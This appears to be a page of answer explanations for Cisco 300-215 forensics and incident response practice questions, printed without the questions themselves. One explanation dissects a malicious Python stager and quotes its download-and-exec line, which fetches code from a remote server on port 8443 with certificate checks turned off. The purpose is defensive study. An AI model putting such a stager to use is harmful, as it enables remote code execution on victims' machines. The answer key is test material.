Free Practice Questions for Cisco 300-215 Exam

The first and most important step in forensic analysis is to preserve the integrity of the data. According to best practices outlined in the Cisco CyberOps Associate guide and NIST 800-86, forensic investigators must first produce a forensically sound, bit-by-bit copy of the system’s data (i.e., imaging). This enables analysis to occur without altering the original evidence, which is essential for legal admissibility and maintaining the chain of custody.

This Python script uses a combination of libraries (urllib,zlib,base64, andssl) to:

Disable SSL certificate verification (ssl.CERT_NONEandcheck_hostname=False).

Construct a custom HTTPS opener with the specified SSL context.

Add a forgedUser-Agentheader to mimic Internet Explorer 11.

Connect to the URLhttps://23.1.4.14:8443 .

Download and execute base64-encoded and zlib-compressed content from that URL using:

exec(zlib.decompress(base64.b64decode(...).read()))

This shows a classic example of:

Downloading payloads from a remote server (23.1.4.14:8443).

Avoiding detection by disabling SSL verification.

Executing the payload dynamically withexec()after decoding and decompressing.

The main goal is clearly to initiate a connection to a remote command-and-control (C2) server on port 8443 and download/execute additional code.

Hence, the correct answer is: A. Initiate a connection to 23.1.4.14 over port 8443.

The PowerShell cmdlet Get-Content reads content line-by-line from a file and is commonly used for processing logs or large text files. When combined with Select-String, it can search for specific patterns (such as "ERROR" or "SUCCESS") within those lines and return a collection of matching objects, including metadata like line number and line content.

Option D uses:

Get-Content –Path: Correct syntax to read the log file from a UNC path.

Select-String “ERROR”, “SUCCESS”: Searches for these terms in each line and returns matching lines as structured output.

The other options (A, B, C) use non-existent or incorrect cmdlets/parameters such as Get-Content-Folder, –ifmatch, –Directory, which are invalid in PowerShell.

Antiforensic techniques are methods attackers use to cover their tracks. According to the Cisco CyberOps curriculum, “obfuscation” refers to techniques such as encoding, encrypting, or otherwise disguising commands, payloads, or scripts to avoid detection and analysis. This is a standard antiforensic tactic used to prevent attribution and hinder forensic investigation.

Options like privilege escalation and authentication are part of attack vectors or access control and not antiforensic methods.

The Cisco study material recommends integrating automation for log/event collection and contextual analysis to reduce detection delays and ensure rapid identification of anomalies. It also emphasizes the need for pre-defined roles and documented steps in anIncident Handling Playbook, following NIST SP 800-61 Rev.2 standards, to improve consistency and readiness during incidents.

When dealing with suspected malicious activity involving obfuscated PowerShell scripts—especially when launched from Microsoft Word documents—behavioral analysis is the most critical next step. This approach helps in determining if the process chain is part of a known attack pattern, such as a phishing attempt using malicious macros that launch PowerShell for data exfiltration or payload download.

As highlighted in theCyberOps Technologies (CBRFIR) 300-215 study guide, understanding behavior and deobfuscating PowerShell scripts is an essential part of the forensic and incident response process. Specifically:

During the detection and analysis phase, if PowerShell is used with obfuscated or encoded commands, responders should investigate the intent and behavior of the command.

Deobfuscation allows analysts to see what the script is doing (e.g., downloading files, creating persistence mechanisms, or opening a reverse shell).

The guide states:

“For example, if the threat is malware, the compromised system should be immediately isolated and the malware should be placed in a sandbox or a detonation chamber to understand what it is trying to do”.

This confirms that understanding execution behavior (such as what the PowerShell script intends to perform) is key to uncovering indicators of compromise (IoCs).

Thus, option C—conducting a behavioral analysis and deobfuscating PowerShell—is the most critical and effective response at this stage.

Comprehensive and Detailed Explanation:

The log entries show repeated SSH login attempts for various invalid usernames (e.g., admin, phoenix, rainbow, test, user, etc.) from different source ports. These are clear signs of a brute-force attack—an automated process trying multiple usernames and passwords in hopes of gaining access.

Mitigating such attacks includes:

Implementing account lockout policies (e.g., locking an account after several failed login attempts).

Enabling Multi-Factor Authentication (MFA) to ensure that password guessing alone is insufficient for account access.

Therefore, the correct answer is:

D. Brute-force attack; implement account lockout policies and roll out MFA.

This scenario describes asubstitution cipher, where data is made unreadable or less recognizable without altering its functionality. According to the Cisco CyberOps Associate guide, obfuscation includes techniques such as shifting, encoding, and symbol manipulation to mask the true nature of data or code:

"A very well-known cipher, the Caesar cipher... shifts the letter of the alphabet by a fixed number... This technique is a form of data obfuscation used to bypass detection mechanisms.".